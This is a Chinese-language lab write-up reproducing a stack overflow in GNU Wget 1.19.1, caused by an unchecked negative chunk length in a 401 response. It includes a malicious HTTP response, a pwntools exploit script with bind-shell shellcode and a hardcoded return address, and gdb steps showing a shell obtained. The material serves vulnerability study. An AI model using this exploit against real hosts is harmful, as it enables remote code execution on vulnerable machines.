0x00软件描述
GNU Wget(常简称为 Wget )是一个在网络上进行下载的简单而强大的自由软件,其本身也是 GNU 计划的一部分。它的名字是 “World Wide Web” 和 “Get” 的结合,同时也隐含了软件的主要功能。当前它支持通过 HTTP、HTTPS,以及 FTP 这三个最常见的 TCP/IP 协议协议下载。
0x01环境搭建
- Ubuntu 16.04 64bit
- wget .19.1
apt-get update
apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
apt-get remove wget
卸载老的版本,编译安装1.19.1
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
./configure
make && sudo make install
make unistall
vim configure.ac
为本次复现方便关闭了程序的 canary 和 NX 保护。
在 785 行下面加入
dnl Disable stack canaries
CFLAGS="-fno-stack-protector $CFLAGS"
dnl Disable No-eXecute
CFLAGS="-z execstack $CFLAGS"
dnl
dnl Create output
dnl
apt-get install automake
安装编译安装需求的 automake
make && sudo make install
- gdb-peda
apt install git
apt-get install gdb
cd ~
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
输入 gdb
显示
gdb-peda$
为成功
checksec /usr/local/bin/wget
关闭堆栈保护成功
0x02漏洞分析
wget 在下载文件时,如接收到重定向(401未认证)时,会将数据传递给skip_short_body () 函数处理,在该函数中会调用 strtol () 来对每个块的长度进行读取,在 1.19.2 版本之前,skip_short_body () 函数并没有对读取到的 块的长度 的正负进行检查。然后程序使用 MIN 宏在长度跟 512 之间选择一个最小的长度给 contlen,将此长度传给 fd_read () 作为参数向栈上读入相应字节的内容。
但是若 某块的长度 为负,经 strtol () 处理后,返回的 size 为有符号整形 (8-byte),最高位为1,MIN () 宏也会认 size 比 512 小,会将此 8-byte 负数作为参数传给 fd_read (),fd_read () 只取其低 4-byte。
因此 contlen 可控,栈上写内容的长度也可控,可以造成栈溢出来反弹shell。
如何进入skip_short_body()函数
HTTP_STATUS_UNAUTHORIZED定义如下
skip_short_body()函数
SKIP_SIZE定义如下
MIN宏定义如下
因此最后 contlen会得到一个 负值,由此可以控制 contlen 的数值大小
随后进入 fd_read() 函数,从 fd 读取 bufsize 个字节到 buf 中,于是引起缓冲区溢出:
更新补丁如下
补丁是对 remaining_chunk_size 的数值是否为负值进行了判断
0x03漏洞复现
根据分析构建payload如下
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
linux下观察:
A窗口:
nc -lp 6666 < payload
B窗口:
gdb wget
开始调试
disassemble skip_short_body
查看skip_short_body函数的地址块
b *0x000000000041ef0a
在 strtol () 处断点调试
r localhost:6666
运行程序
断点成功
n执行下一步
可以看到 strtol 函数返回值为:0xffffffff00001000
公式如下(python下计算):
继续 n执行下一步,到 fd_read () 处查看传入的参数。
可以看到,这里取了 0x01000 也就是 0xffffffff00001000 的低 4 字节作为长度参数,往 0x7fffffffd8d0 中写数据也就是’AAAAAAAAAAAAA…‘。
写入之前查看0x7fffffffd8d0下的数据
下一步执行后,查看0x7fffffffd8d0下的数据
可以看出数据溢出,全部地址都是16进制的 A
输入c继续,成功 crash ,覆写了 ebp , 控制栈上的数据再 ret 可以控制 rip,劫持程序控制流。
这里进行栈偏移计算,方便后续利用
栈偏移计算:
payload生成exp
#8exp1.py
from pwn import *
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
port = p64(6324).replace('\x00','')[::-1] #设置6324为监听端口
sc = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"+port+"\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
payload += sc + (568-len(sc))*'A' #栈偏移量568
payload += "\xd0\xd8\xff\xff\xff\x7f\x00\x00" #输入数据起始地址
payload += "\n0\n"
with open('8exp1','wb') as f:
f.write(payload)
编译pyload并执行
A窗口:
python 8exp1.py
nc -lp 6666 < 8exp1.py
B窗口:
gdb wget
r localhost:6666
C窗口:
nc 127.0.0.1 6324
拿到shell
B窗口后续:
到此拿到shell权限,利用成功
0x04漏洞防御
升级wget版本